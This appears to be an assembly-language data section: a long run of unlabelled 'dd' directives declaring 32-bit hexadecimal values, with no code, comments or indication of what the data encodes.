dd 98C3958Bh, 2FA67100h, 0DF207FE6h, 604139FDh, 7EC1BC87h
dd 813C8038h, 960AFC53h, 1C974DF6h, 992ADD81h, 62CCF851h
dd 3DEB77A5h, 0B102EF9Eh, 53B50B6Eh, 63B6B484h, 0A58BB008h
dd 0C0809907h, 0B22102E0h, 6EBCEE02h, 4131727Ch, 0F1802D84h
dd 0BA58B8DEh, 3505426Fh, 0E762BB69h, 7D798C01h, 0FAE49FEAh
dd 143258BFh, 80671384h, 0DE2B2204h, 0AC2620B1h, 4BA0828h
dd 29116632h, 987AE0DDh, 0EEFD0B30h, 0E011BDD7h, 0A4A0C6DFh
dd 21DA7524h, 3016CA00h, 0D937C1AAh, 0A3260A65h, 0A8906C7Ch
dd 14CC4690h, 24E4638Fh, 70C490D6h, 63B8BA40h, 81058D50h
dd 7340289Ch, 8835A001h, 0C201123Eh, 0F27432DAh, 0DC37304Ah
dd 0CB00E9F2h, 496FE1F3h, 5CC87EE3h, 0A210F822h, 0C00B882Dh
dd 5B5D71C4h, 91174B21h, 0CF8907CDh, 0EF500471h, 2DC1228h
dd 0FB447CC6h, 0CC68F961h, 900E1D2h, 7FF2943Ch, 35DA08h
dd 5FD834C8h, 16CD3BA6h, 0E920FF31h, 0C3F5D2DEh, 268A8430h
dd 2474D693h, 4D7605F4h, 77F893DCh, 5B0C18AEh, 206F209Ch
dd 8BC08B52h, 5084D303h, 8C90C424h, 8638B05h, 0D4CEB6FFh
dd 6394A600h, 59847153h, 1FDB04Ch, 0FFA175ADh, 0C181F64Dh
dd 5C0EDCFh, 23F4EC95h, 5FDD0384h, 7A5A22A9h, 867F7100h
dd 6BC28DCFh, 41B84ED7h, 125D5AACh, 0A2C6008h, 0F804C8AAh
dd 99898B7h, 0A5268AECh, 0ED704CDFh, 2B210503h, 5497C8FBh
dd 3E83C88h, 9DE48Ch, 2DE0DC4Bh, 0F8941CBh, 545E5A39h
dd 0FA09B8E4h, 9D3A9537h, 81F6913Ch, 7865A0Dh, 76E2874h
dd 38DA89FFh, 952CE2Bh, 0FC9D8AC4h, 0B6850911h, 3874C03Ch
dd 0F31DA8E0h, 24ACF25Fh, 0F5634B44h, 0BFA58EB0h, 990028A5h
dd 6DCB210Fh, 462A18B7h, 58539838h, 70B48000h, 0A402DAF5h
dd 0E124275Dh, 3403C029h, 0D87C1DFBh, 0FC00F398h, 0BAE129A8h
dd 26CF97AAh, 8054235Ah, 0CD31B8E6h, 2202B55h, 8E5D0822h
dd 540A7FFBh, 161FBC34h, 113D51F0h, 168CB6ECh, 933C0822h
dd 8B254FC0h, 22BF46BBh, 0B7F1014Bh, 453B9225h, 3A024A4h
dd 0BBECC941h, 0DD42136Dh, 0F5040962h, 0F7C4FC67h, 25398660h
dd 0D5A7AD12h, 280881Fh, 3155CA75h, 19C3308Fh, 1CE7DDD0h
dd 0F981850Bh, 0AFF48222h, 25D723D2h, 0DDCEB3BFh, 2EE2A000h
dd 0BB95B44Ah, 0FE2C167Ch, 5B1401DEh, 8108C25Eh, 2A82A650h
dd 0EC303FB4h, 4C070211h, 77356665h, 0D80A6078h, 200192F9h
dd 8CB64B78h, 3857E115h, 0E7D200A0h, 9D60A134h, 58A203FBh
dd 5DADC356h, 0C0887FC0h, 4903E490h, 5E254DA8h, 23D804D2h
dd 0C604DFADh, 0D903106Ch, 2B8E7E3Fh, 0F625E318h, 12649088h
dd 0E4D0C152h, 7D00D820h, 0ECFF1E6h, 73188196h, 1237711h
dd 9CDB2DF2h, 0F34F1D61h, 0EABE8BB0h, 2F75CF1Ch, 0A9348C80h
dd 67CA47h, 7399C1B3h, 0C0F85F9Bh, 8DD34D00h, 0EF3A0B4Eh
dd 0CDC60786h, 0FEB15EA6h, 0C9EA6180h, 2FA0164h, 0E89EE316h
dd 1633F0C7h, 0EB06B819h, 8C0C00B0h, 2563D2AAh, 0BCA0AC1Fh
dd 3F00C971h, 251BBC2h, 1E4029ABh, 406328F2h, 0F8AECA67h
dd 1500DE01h, 5717C998h, 0F5FF6Fh, 0D450ADC4h, 3AC7E1FCh
dd 5FD31A00h, 100DA981h, 0ECFA8Dh, 0B847B764h, 68BD25DBh
dd 80C6A43Eh, 2A96E521h, 0F4270Eh, 51D17554h, 17BE404h
dd 3790C80Fh, 0D88780F9h, 0B25A60Dh, 0D94088E5h, 8C2F2F80h
dd 76F2E364h, 92E9FE00h, 90EA260Dh, 60D6F22Ah, 6A9830A4h
dd 68E4331Bh, 37495703h, 7CAD6F2Fh, 0FF2B0040h, 0B5348908h
dd 1EC10C2h, 8FBF5200h, 0DCD11A65h, 0ECD50005h, 10A4F991h
dd 6000D872h, 287B904Bh, 79EE2D0Eh, 45324FBAh, 738BBB4h
dd 6920FCCCh, 0BE001070h, 0E5C9A58Ch, 2655BFB6h, 80386723h
dd 0BBF6E399h, 7E015A47h, 0D02BF14Ah, 0B6C855BCh, 64710162h
dd 94EEC5EAh, 0EE87CB5h, 0A03803DFh, 0DA148A41h, 0DEA6009Dh
dd 35829A23h, 5603E910h, 68DD8154h, 0AC0AC04Eh, 0E6C600C5h
dd 9AD32BF6h, 0D90013E7h, 7D1B3D61h, 12E526E1h, 4599D2h
dd 7EB6746Bh, 3102EDA8h, 519FE3B4h, 378565Eh, 61274A17h
dd 5AA68800h, 65B7042Ah, 3F83001Eh, 0A19408F9h, 31C19886h
dd 4D2E0FFCh, 24243CF5h, 44A33FC4h, 0BE7B4F80h, 66A91F69h
dd 0C8A0D609h, 708C10F3h, 0C672004Ch, 62AE4BFEh, 840AC55Bh
dd 8179576Eh, 35129507h, 3B8E1C30h, 0FDE4009Fh, 54EEB1D3h
dd 7F26F563h, 93DD001h, 0A0D26D4Bh, 861ED500h, 0DAC009Eh
dd 11FD3A81h, 8D04C4DFh, 0AFA6174Fh, 43588C80h, 382DEE21h
dd 9C1DC996h, 3673009Eh, 0FEE795FAh, 2BF89403h, 9D659E5h
dd 0DF639FE9h, 2E1EFC78h, 619F1252h, 0F19EE200h, 92A5EECBh
dd 782C6710h, 0A1ED2010h, 0EC18B172h, 0B5496EC2h, 36210052h
dd 6BFDCB85h, 9504D3BBh, 3C8F9194h, 8D5840B8h, 52041848h
dd 0BC74B453h, 62D6077Ch, 9D30E7B6h, 58FC7h, 0AA0134F3h
dd 7B7548BEh, 0FC40B34Eh, 0F6851E66h, 79A16070h, 199D132Fh
dd 0E40BD712h, 66344Fh, 95CCEDB1h, 398000A2h, 7665C923h
dd 0B8004916h, 6128FF6Ch, 2A32B67Ch, 807EAEh, 19C1A78Ah
dd 0E5118EEDh, 0F8955800h, 7EEED331h, 0D9030091h, 37479927h
dd 0D0096D7h, 0EF8F01F7h, 21B62Eh, 0EE3ABB3Ch, 0B3797580h
dd 9897901Fh, 0E61B6540h, 0CFFD1Ch, 0EAB4785Fh, 14F682CCh
dd 0A6AB300h, 0C2164F8Bh
dd 677C02F0h, 37290510h, 0AF923260h, 53BF1F00h, 6FECA6CFh
dd 562D0076h, 0F3ED8DDCh, 0E424555Eh, 0A980CC91h, 0F9FC4754h
dd 0DC43067Dh, 0EEEAEB41h, 5E882A2Fh, 2FDA002Dh, 4BA16115h
dd 94FDB400h, 0D452EFF9h, 7E9E0F33h, 0ECA955ADh, 5E6D2681h
dd 5463D465h, 0A40028E2h, 271A7C8Ch, 42F16C5h, 0CBA0665Ah
dd 0B200D04Fh, 671FBEEFh, 0C08FD253h, 0B6240DBh, 0E2F1CADAh
dd 23A80377h, 362CE139h, 85319698h, 0CF4F2200h, 0CDC1F904h
dd 80C926EDh, 79130454h, 0F438D65Dh, 3317CE7Bh, 0A800FDDCh
dd 2FA73AC6h, 0ADC014F5h, 0BC01FEAFh, 0A9549A59h, 981C3A07h
dd 0DEB5A3C0h, 7F8BD751h, 61C9245h, 0EF87218Eh, 0E10E2930h
dd 8027F775h, 2CC191A7h, 0C0039DCFh, 0EDD0AFC4h, 10C07758h
dd 5513879Ch, 2D0A0E7Fh, 0A8617CBCh, 24BF40A2h, 600BAB40h
dd 0A30A878Ch, 0F8316AE8h, 0D2C561h, 1E15B55h, 0F0D1CF4Bh
dd 29D47803h, 0C9ECB62Ah, 0AC40357Ch, 7699669Ch, 0B0CCFD12h
dd 8F08911Bh, 0F20CC8h, 0BEB79D30h, 9300C4F3h, 1F82F933h
dd 0EA1DC42h, 40CF841h, 7B9A26C2h, 2995840h, 0FB95BC18h
dd 627911h, 8ECFA8DEh, 9B65ED3Fh, 70025DFCh, 95A28469h
dd 176AE06Dh, 0FF7100B5h, 35089DE6h, 157CB903h, 7A00D8B1h
dd 0A112E1Eh, 12ECF2A9h, 28FE09h, 7BDF6983h, 7006BBD9h
dd 0EFD64886h, 58F30010h, 0BD43167Ch, 80EDB020h, 0E2D30C29h
dd 7528B2E9h, 63A3BF9h, 6724AF00h, 0D7369B37h, 0BEB0ED00h
dd 265F3188h, 0E9180096h, 0B50777A4h, 9C0A17B7h, 0FDAEC81Eh
dd 50D9F000h, 2413DC24h, 0B3C0A95h, 738838D6h, 87A301A0h
dd 0C84BC063h, 0F700AB05h, 774862C3h, 39D5CBDh, 9ED582A8h
dd 0F4007537h, 0F8942C8h, 771E97h, 0ACC929DAh, 9CAE8CA7h
dd 0E084D509h, 453090A3h, 0B70C052Ah, 479C7CBh, 0D0E2DEF0h
dd 73A819B0h, 18F7D61Dh, 0B86D3502h, 0C4C6C006h, 52AB3FB4h
dd 0E4CB2580h, 87EFA68h, 65CF7100h, 0B90BC2A1h, 804D3F1Eh
dd 0C78BD480h, 5F473E42h, 83DCFF12h, 21EE1CF4h, 803FE673h
dd 9ADFFC5Eh, 385A38B0h, 0BB988D61h, 2B402973h, 0AF2158h
dd 4B276695h, 0BA3722h, 0ED2FD151h, 30A7546Eh, 0BC00C49Ah
dd 0FB056268h, 0EBE89Ah, 0AE8B91A8h, 0FE1D831Ch, 0ADD2C200h
dd 526C338Ch, 0B5C739D1h, 0EDCAA28h, 2FF04E6Ah, 7CA3E100h
dd 0DA123BA2h, 0C0A0A178h, 0D3E3ACEh, 7EA5273Fh, 3F4200C4h
dd 3C58EA69h, 92743774h, 23E75214h, 5AA30010h, 1E3B4968h
dd 8B5B00B0h, 8A715C18h, 5D3E7A3Ah, 6E10023h, 0EEF90E20h
dd 69B14C3Eh, 0B80F744Dh, 6D2B7DA5h, 672D70C8h, 0EBF5FF0Ch
dd 0F00131F6h, 72A32843h, 80E16050h, 0C6E67FBBh, 3C67B93Ah
dd 63D50990h, 1048716Dh, 472035h, 2A025E45h, 0E22C5125h
dd 348CC44Bh, 99410065h, 633E06D6h, 7E0045EBh, 0BE685FAFh
dd 3CCD4347h, 0C080EFF2h, 0BB74EE1Eh, 0A00F4FB8h, 0AFB0D022h
dd 48B16721h, 9896AED3h, 1DE6D1E4h, 9F13FEFDh, 89E080BAh
dd 0FC4B2198h, 9BE64063h, 4F00EFABh, 334917Ah, 0D4284670h
dd 17A04CA0h, 2100D7F9h, 2AD61840h, 0BDDB66h, 0B335486Dh
dd 0B2B5275Ch, 0A7565F0Bh, 0B8F7015Dh, 843D3A2Ah, 97822F7Ch
dd 5C45940Bh, 0E1604FC4h, 916E5ADh, 9481525Fh, 48394C7Fh
dd 53E9223h, 0A7BBCC25h, 0F2C0B4F2h, 0BDA25B4h, 51FB5204h
dd 7C0E7066h, 2F0D6FE2h, 489E9C78h, 0F74676h, 96F9485Ah
dd 505BF4Ah, 20022B95h, 0E300FA3Ch, 0A5C8613Fh, 0CD2E18BEh
dd 5D771823h, 0CBC1D7Ch, 1094674h, 82B736CFh, 5868DF0Fh
dd 138C6028h, 0C3AB8F31h, 6C03B80Ch, 8B80A370h, 322FA935h
dd 0D5640D6h, 6F2800D2h, 0DC23944Bh, 0CF00D7D8h, 2154C44Eh
dd 0AF2491h, 7644B1C2h, 602E3181h, 2D100400h, 126FD7Ah
dd 0E53F00F5h, 0DEA87D79h, 700D7C7h, 0F087B20Ch, 0FA3626FCh
dd 973B091Ch, 3B80014Dh, 0B2E72CBDh, 0B6AF571Ch, 0FED809h
dd 755D2A04h, 0E9FA004Bh, 4135559h, 0B3FA9AEBh, 92437B00h
dd 402EF850h, 0A265005Fh, 15588A9Dh, 0A601460Ah, 0C74CB96Fh
dd 64E85781h, 30B8FDh, 135074EDh, 4EC91DBBh, 25E11600h
dd 0B2044B19h, 94BF00DAh, 3E23E301h, 4D00DF71h, 7BB19643h
dd 7191A411h, 4FBC1C9Fh, 2062806Bh, 0D01CFFFAh, 0BFAE7800h
dd 93DDE874h, 0C01B24CCh, 0B6900708h, 0FA0ED0F9h, 530F212Dh
dd 43B89E46h, 0A13C56h, 29F82361h, 0B9DF0D68h, 60002F90h
dd 0BB84C6D5h, 0EA967Eh, 0D682A481h, 7755E1Dh, 0F72CB900h
dd 48065B54h, 28D760AAh, 72EF1EFEh, 45594407h, 0DCD797FDh
dd 674C6D00h, 0C068006Fh, 27ED23A6h, 9B00BA64h, 0D66B5D03h
dd 3C9D13E0h, 910C2441h, 0A450763Ch, 89FC1F00h, 755C59E8h
dd 0F42A51A1h, 0FE6443F8h, 0B7D00F2Dh, 48C05157h, 725ECE59h
dd 0BACA8103h, 0D8B8F62Fh, 42BE2Dh, 327C0D9Fh, 34307890h
dd 0E18B1D00h, 966079A1h, 0DB4103FCh, 86F77392h, 0A801F4B0h
dd 1820DEC1h, 95F81B30h, 0CEB81CEDh, 429C762h, 3CC1FEA3h
dd 0E45474C7h, 0A0009640h, 9FAD245Ch, 12BEF7h, 885DFCD3h
dd 0D09BD855h, 268C3D00h, 0F1258A58h, 0B26300F3h, 0C5EA7C24h
dd 0AAEC275Bh, 21D0451Dh, 5A3AD580h, 5071FA52h, 0B0A87Eh
dd 0E3CCED03h, 0A14268B9h, 0C40F101h, 0CA348269h, 0F2EAE8C3h
dd 0AFA848D1h, 6555D904h, 344C8156h, 7753DC28h, 30EAC3Bh
dd 0EB0FD7C0h, 2529A05Bh, 6A1600D2h, 339CC8E7h, 0D307503Eh
dd 0EF0BF7BDh, 1C71F2A0h, 15900CDh, 0A661E911h, 0F803A8F3h
dd 6E880735h, 0A96862BDh, 4420048Ch, 0A76B82h, 9F6FECEEh
dd 27EF415Dh, 0FFF00490h, 4D372C00h, 182F86C1h, 5A7400F2h
dd 9D153E47h, 0A500AAF3h, 0BCEC6195h, 0C5F8003h, 2FFF5806h
dd 3604CC40h, 0B8637DC2h, 24BB0481h, 0CE9B260h, 0F5E40A49h
dd 9B032329h, 645E7BE0h, 755FB0ECh, 2435F8A9h, 1D052D3h
dd 0B19ECF79h, 2DC19EFEh, 8325F043h, 4920016Eh, 0A305907Fh
dd 6910807Dh, 0BF18ED1Fh, 1298034Ch, 0F1D03ACBh, 9E88FE9Bh
dd 541DE50Fh, 8656A726h, 0DEB64E01h, 0B1CC9133h, 7D83E27Eh
dd 9DF400DFh, 6E75AD29h, 9A00E064h, 50EEA315h, 7B798490h
dd 4C950EC8h, 47E7E3FFh, 11FD7670h, 866FB100h, 0A5738D7Fh
dd 1990606Dh, 6B33D81Eh, 38CDEE1Ch, 0A41CF412h, 708B08C1h
dd 108EF558h, 0ECE060BCh, 0A9CBA473h, 20FFD00h, 129B43D8h
dd 72C9006Eh, 0D029BEE4h, 0DD79615Eh, 0E1000FF0h, 0CD454F74h
dd 7FE0F9h, 0AC4DA70Dh, 0E861A1ABh, 4C6F8626h, 7287DC00h
dd 0E43E55h, 7DB7730h, 50A1D3F4h, 86CE7A00h, 81E0BAE3h
dd 9E6B016Dh, 27990FE8h, 2C518BA8h, 951F80CFh, 0EE801523h
dd 9F6E00C0h, 701ABA66h, 7A006B53h, 573B5562h, 0CBD965h
dd 2A8260CAh, 0B708050Eh, 17EE9200h, 41A384B0h, 8F1E025Ch
dd 32AAF910h, 0D16BD661h, 7EF73499h, 79CA1B01h, 1C09A4D3h
dd 872A70h, 8F99E698h, 0DABF1D75h, 25C40301h, 0F34BB611h
dd 1CD84EF5h, 7C310019h, 2687D8F1h, 4A00ABE3h, 0BC3A8360h
dd 30648CEh, 36EF5DDDh, 29C04BDAh, 49184FEDh, 829813F9h
dd 0FA3C92AEh, 56AF096Eh, 0C08A6DA6h, 0E6053FE8h, 90CC7D77h
dd 70A34834h, 18554701h, 0C8CF2DA5h, 85FF2880h, 0B4C01544h
dd 0B6A3D11Ch, 0E6FB4BC0h, 1CB9A5h, 0D83747C2h, 950CAB79h
dd 7E113C02h, 4074FB87h
dd 1F086B1Ch, 9C36E682h, 966E707Ah, 7F0C0EEEh, 102DCFBEh
dd 1C20015h, 4172AA22h, 0E6F4820Dh, 0E718B100h, 998FE892h
dd 684F009Fh, 356C8359h, 7A609471h, 0AE6E1EE1h, 6ACB0051h
dd 0FD0B24DEh, 300ECE4h, 32610799h, 2CF1730h, 0F26746E1h
dd 0A8803AFEh, 4CE5C678h, 3C1180F9h, 0AE089CF3h, 7340010h
dd 72338F62h, 2D00D15Eh, 943640ECh, 7CE79743h, 0B82500C2h
dd 0A4D0D539h, 6300AB16h, 34FBCC21h, 16D9608h, 0A2E1C91h
dd 0CCA7721Eh, 0A50EC932h, 0DEB2FBE3h, 0DD518A83h, 0AF47F8F6h
dd 14433EC8h, 73196680h, 5764D3E5h, 9EADC00h, 8D443781h
dd 6CDA3DDDh, 66C96B81h, 0FCE16A2Bh, 2814D4A9h, 0C08414D1h
dd 0FDE792E2h, 7D9600B9h, 0AC715B61h, 760039E3h, 1B5818E0h
dd 0BACB2A81h, 0CA520644h, 285AB934h, 0B30077B4h, 0C34144D3h
dd 7B3100D8h, 816A2574h, 3D00EE0Ah, 0A879F049h, 3FF882h
dd 0D5BAA1C8h, 92EDC41Ah, 6DBFB101h, 8CA03ECFh, 4F81B06Fh
dd 11490700h, 0BF023B5Ch, 0E417BBCh, 0D42DA721h, 249FF6E0h
dd 3500A01Bh, 0DCA4B240h, 3FF3B72h, 58EDD509h, 0C0EFD760h
dd 0A57A28D3h, 0F5E15400h, 0B70311FBh, 36320068h, 44091878h
dd 267E040Eh, 76E0B458h, 0B1DBF800h, 4BD0F43Bh, 0B87E1DB7h
dd 82A5C05Ah, 0F2E88E47h, 19975600h, 9AD080A3h, 0B884E839h
dd 734A038h, 3FE1DFAh, 9300B8B6h, 3DB1D4C4h, 27005078h
dd 0D7A2EA8Eh, 0EE16D85Fh, 9F5C02C6h, 34E48174h, 56BCE840h
dd 0EBEA1B07h, 0B5B0BEE7h, 24AADF66h, 8164F905h, 0F72DC77Ah
dd 0C30B70D3h, 9118FB74h, 0C020DB99h, 210C4E3h, 612158ADh
dd 0E00389D4h, 0C2009372h, 5992A78h, 23AA66h, 0A55D42Ch
dd 0F76AE0BCh, 32D3E38h, 9DB142C0h, 0AC4800CDh, 9A5DF934h
dd 0E2077E93h, 0BAEC76B6h, 0FAB474F0h, 7C410519h, 0C05931EEh
dd 0E90F2F26h, 5BA19202h, 8058723Ah, 1505E794h, 39E815CDh
dd 3E2E6C75h, 806834EBh, 310335BDh, 20FD0F00h, 678F854Eh
dd 3F110547h, 0C090CD33h, 0FA76E347h, 250058EEh, 66F118AFh
dd 7F2379h, 0C75ED94Ah, 0C012E38Dh, 1DC56300h, 0F582AB7Dh
dd 0E4560080h, 0C878C360h, 0ECBA2CD5h, 24EFF900h, 0DA596245h
dd 0B4A91D72h, 78F50CDBh, 6700EE20h, 47032A3Ah, 1D4B17h
dd 0CB493C85h, 63303E79h, 2565D300h, 60FA7F45h, 4EFC0062h
dd 0FDD82CA9h, 6B60E53Dh, 385B8F18h, 31A200C6h, 7B2AD978h
dd 8B606EF7h, 64594468h, 77F4A05h, 70B51E64h, 14C5E190h
dd 0ED65F971h, 0A8400308h, 73059E4Dh, 0BFBD0342h, 7B968D20h
dd 7E416866h, 58CB46E8h, 62B405FDh, 7448D961h, 0AAEB83E0h
dd 74D85924h, 21F6247h, 0C830FAFCh, 41393DFFh, 88A00EAEh
dd 64C0C0DCh, 2BE032CCh, 5A9D50C2h, 18CD117Bh, 0B62405B0h
dd 73DBB162h, 24C81954h, 0B500394Fh, 56B9E9C3h, 63CE8Bh
dd 5EE79EE1h, 2F7FE4FCh, 6BFEA41Eh, 10D8900Ch, 0C73F00C3h
dd 4DEDFC3Dh, 4F000EF0h, 0E2BCCF48h, 7F03A81Ah, 85313C4Ah
dd 9B147580h, 0D394F53Eh, 1A36C01h, 3296E92Ah, 0C19C2081h
dd 0BB0C4C1Dh, 0EB0F8730h, 0BA402D2Ah, 6DB4A0h, 6078502Fh
dd 0A5B1521Dh, 0A38B2609h, 8EF0096h, 3572Eh, 7C118353h
dd 0BB2515Eh, 0DB05187Dh, 24EE4E2Ch, 987048D6h, 0AC76001Eh
dd 0CD1AEAE0h, 81001D62h, 34511406h, 1890DC41h, 58E432EDh
dd 0C71CEFD3h, 35DE6271h, 0FF9153CFh, 8A554E01h, 0E0D87A33h
dd 6998C00Bh, 671FF7EAh, 283939h, 3B848C41h, 0C0F1B42Ah
dd 60F32E8h, 0F9C10DF0h, 95697F61h, 5C6B20h, 0B1131F2h
dd 3909C82Dh, 0E72F9A00h, 732A590Dh, 3402E84h, 44951E6Ah
dd 80DF01D9h, 5CE771EEh, 0F9120C00h, 0E0BD83EBh, 61BB0076h
dd 393A1ADEh, 5718A965h, 6D08CD41h, 6020C0F9h, 188C1936h
dd 0B8474400h, 759FE0C1h, 3C0C3066h, 3F863AE4h, 0A9066703h
dd 0F8843B8Dh, 52F91C83h, 340134A5h, 353B9419h, 884F0CA8h
dd 1A00CC82h, 3B136A40h, 6046B2B1h, 84CA715Eh, 3701AB02h
dd 4530BBEBh, 39803E22h, 95A5CFF1h, 0EE302C31h, 3AF40893h
dd 18E4F222h, 289C3C48h, 7D18C0C1h, 5090C287h, 4BAF00E1h
dd 0D72C3CA2h, 7F00047Eh, 24C5F579h, 0F99B5A89h, 160193E4h
dd 1ED9C2DDh, 38844CFFh, 15070F79h, 3151F39Ah, 0C9D19930h
dd 509016D4h, 0A0630CFEh, 0C0085F9h, 0F69804EDh, 1DC00259h
dd 30547DC5h, 0B2205B20h, 24231603h, 0F6DF592Dh, 0A98C6E08h
dd 0E5B22940h, 5503BA08h, 126BD114h, 0FC9AD19Ch, 0F737D983h
dd 5FA81CBEh, 826E9956h, 5CCE019h, 1C4BE91Fh, 0C30ECB69h
dd 957199DDh, 0BAF9ABE8h, 0DB00EF7Ch, 983B3F4Dh, 28BDC110h
dd 209C76F2h, 9D1178BBh, 821586F6h, 0AE038032h, 3F8EDC1Bh
dd 64A865C0h, 8396493Bh, 895D2F0Ah, 90F892EDh, 0C03182B8h
dd 7DD59039h, 270029A9h, 47B9038Bh, 6B02171h, 9BE91EDEh
dd 5400C1E1h, 5A70238Fh, 39EB4F5Dh, 9A9855DAh, 0EE80218Dh
dd 6428140Ah, 7B198189h, 21878509h, 0F114A420h, 0D9729701h
dd 0C732007Ch, 2448FF55h, 2E1408F4h, 8CC4F964h, 14EA3243h
dd 3DB57890h, 0AA8B3Fh, 0F5D3A691h, 4DB075h, 69013108h
dd 7FBDB318h, 0A35AD80Eh, 2FB803F2h, 6490BC41h, 75FDC9D6h
dd 1B9A98DEh, 897D58Dh, 30F768F6h, 9300FD71h, 0F621F876h
dd 11928D6h, 30994216h, 228138BEh, 0A46E0340h, 0A1E02C8Fh
dd 10FC350Bh, 820F4F2h, 0C0AD804Ah, 0E94BC70Eh, 0B1190323h
dd 38B8F05Eh, 0C8835217h, 49F6C0Bh, 37C3E400h, 0F703C813h
dd 39C1D8EBh, 0E7C6D85Dh, 0BE543AAFh, 9CC45595h, 314EF82h
dd 37F4B185h, 3183289Ch, 809A14E9h, 9C5333h, 0F6C886F8h
dd 5782F55Ah, 385281C0h, 0D88103h, 98AA0C30h, 0DE33B215h
dd 0E3837F13h, 3B00DA1Ch, 0DB83139h, 0A0CF49C0h, 0F4B20680h
dd 448C3422h, 2F049684h, 0BF874BB2h, 6CE1C890h, 21D7D56h
dd 5B883475h, 0CC415CF2h, 82718C2h, 4C22F3B2h, 0C157C2h
dd 0C3B21091h, 38EC6A06h, 0AA04051h, 0E641488Ch, 0DD9D8680h
dd 0B224515Ah, 8A113C05h, 29300296h, 3C4CF164h, 2D3B8F44h
dd 0DF761487h, 7B309802h, 16144977h, 5270DF8h, 0D83EDD17h
dd 28D02778h, 51501C0h, 30D15264h, 3F0F8422h, 66E514EBh
dd 26A9A0DCh, 412C3A48h, 0D2B91BD3h, 82112C97h, 0E8DF1F81h
dd 1BC11773h, 86687F9h, 0CE1ACA01h, 0CA9C53Bh, 0C2648845h
dd 75311A0Eh, 8F1D00AAh, 0E01FAD05h, 786206E3h, 0A0300D2Fh
dd 23B4E048h, 0FDCC0714h, 62CFD4C5h, 0B82D00ACh, 0B7002B1Eh
dd 36C7CC1Bh, 0EF6177h, 829BB1DDh, 0A06C4468h, 338E7400h
dd 0CE31F70h, 78310990h, 1B01488Bh, 802DEB59h, 1B078F38h
dd 1C086914h, 316F8DAAh, 80349608h, 1B0F9220h, 0C5736DEh
dd 50C7BCD1h, 9F00B071h, 0C8044793h, 8A6007h, 39DB0DB7h
dd 0F03E3D06h, 188D613Fh, 8E3055F1h, 2D08CEDAh, 670D94C3h
dd 34607188h, 75E9200h, 5A811FF3h, 0B56C0068h, 0CCE3273Eh
dd 0EC523440h, 1B130258h, 31A867E0h, 0FB8E109Bh, 9F8B031Ah
dd 0F00F4715h, 16F7391Ch, 8C426203h, 7A88A65Bh, 82B0FD7h
dd 406315E1h, 8414DD6h, 12B41054h, 0ED6058BAh, 0E3EC1649h
dd 0C1F11E19h, 282014FFh, 0FA2B4880h, 448C45E0h, 502496ABh
dd 0F70C992Bh, 374FB199h, 8521CA43h, 0B5340059h, 5AFDBCF5h
dd 5018FC3Eh, 36002570h
dd 15B7441Ah, 1D237BB9h, 0AEE99DDFh, 47053BB3h, 15B1258h
dd 811C567Ch, 3A119E5Dh, 95470707h, 5E6A93C0h, 764E0080h
dd 2B10B762h, 0FA07D668h, 1130243Fh, 5B0AF510h, 1EB00CFh
dd 0D607191Ah, 1B125617h, 44040C8h, 5CCEF54Dh, 2DFA06A9h
dd 88AB6ECh, 0FF213E60h, 4ACEEBh, 19EA8D7Fh, 0EE8F7E29h
dd 710090DEh, 0F380309h, 8A743A32h, 784C6200h, 0A4D8E16Ah
dd 0E507A5F6h, 5D2A45E7h, 7E0CEE90h, 8141C08Eh, 0F8F37F32h
dd 5A19E0E8h, 5C08AB05h, 5B4EF183h, 33D8A57Fh, 0E10AF614h
dd 8880BFC9h, 0B4015640h, 0B2970050h, 0E1784783h, 1801DA28h
dd 0A91F760Eh, 0D9DF5FA5h, 0F448B65Dh, 260604FDh, 82D0C312h
dd 0F033ED50h, 4369151Bh, 0EAD80B0h, 3C0D401Bh, 0C9EADE44h
dd 46F906FEh, 610411F7h, 0D7515750h, 785D11EBh, 217F7A7Bh
dd 21C0AAF8h, 5A87F20h, 323DE1F2h, 35300079h, 0DC6897B1h
dd 0CBE30B02h, 4856594Fh, 0C08C7E3Ch, 0C7148629h, 0A124F04Ch
dd 5D119819h, 2D2B1387h, 0AC70585Ch, 1B9D88h, 5DE6472Bh
dd 92E144F2h, 22C740A1h, 6E8B1C08h, 17186300h, 9D129DF8h
dd 0B2C02D0h, 0F8294160h, 0B9189A79h, 5FAD5D18h, 3B117A9h
dd 0B80C4403h, 1AC9A54Fh, 0B202546h, 0EF88C4A8h, 9A66BB30h
dd 38C11103h, 1638BFDh, 6EB09969h, 0EC100988h, 0B70C5C19h
dd 21618A23h, 114402A8h, 35BFF680h, 0A36BC360h, 5CAC8E50h
dd 2B14028Ch, 8AE5E106h, 0A017C219h, 37952B1Ch, 93967F00h
dd 4BF0E105h, 0EB6919D3h, 1821506Bh, 72B0F47h, 0C8701DE1h
dd 4FB980B1h, 60BFDA2Bh, 0FB8DA30Eh, 0B7D4402Eh, 2A434EA6h
dd 0F907FD6h, 0EC5981AAh, 199D2220h, 98F3BDh, 7A723146h
dd 8AA923CEh, 0ED004411h, 0E15CEA5h, 4C035036h, 0C7F093C1h
dd 0D721003Dh, 0CCFCA911h, 0C338E19Dh, 828C8002h, 0A7C0BF78h
dd 7C0C00F5h, 41F616D3h, 0E1EAFB50h, 8A1F6E02h, 620A4FE0h
dd 2481072h, 0A93311CFh, 9E4888D2h, 0DCCE81F2h, 30D2742Eh
dd 37A470Ch, 4D033892h, 86D399B1h, 4FBBE843h, 129B7E31h
dd 20D650E8h, 326A92A8h, 190D51C3h, 8734894Ah, 0FC075C26h
dd 8694B1Ah, 0AF4098C4h, 0A77F1B04h, 743A1200h, 7174664h
dd 25B602FDh, 49894FC0h, 41A7E8A0h, 85025808h, 46CD2C6Bh
dd 0B58940E2h, 8D960599h, 3A29D4A8h, 24223CCh, 0E2478B52h
dd 893048C6h, 0F5EC795Eh, 25A80017h, 0FCA61519h, 167735C2h
dd 3A689318h, 99E35049h, 5F580CA8h, 65004A49h, 0CED4BEB0h
dd 609EF8h, 14203C93h, 4EBC5630h, 5871B70Ch, 9A3182h, 542C103h
dd 5187A936h, 11F50200h, 2A50CCB4h, 409358B6h, 5E5A2F00h
dd 819D1E53h, 4000C8A4h, 5B50C2D4h, 906C5D9h, 818301EDh
dd 0C9974090h, 208C0501h, 0C27D63ACh, 7C1C38DCh, 90B1588Bh
dd 709264C0h, 0B500D4F3h, 938565B2h, 114A24h, 0F6F18DBh
dd 130B4846h, 0F8439612h, 0C9F79420h, 294D0174h, 928832BBh
dd 783204h, 0C9A1F99Fh, 3C41F0C3h, 5A079E4Fh, 44190BBFh
dd 0E91890CEh, 0F800DD32h, 6FC9D33h, 1F18FAD7h, 0FD236FECh
dd 1CB1FB0Fh, 1E0BF980h, 144C8813h, 6F63BE4h, 25C7424Eh
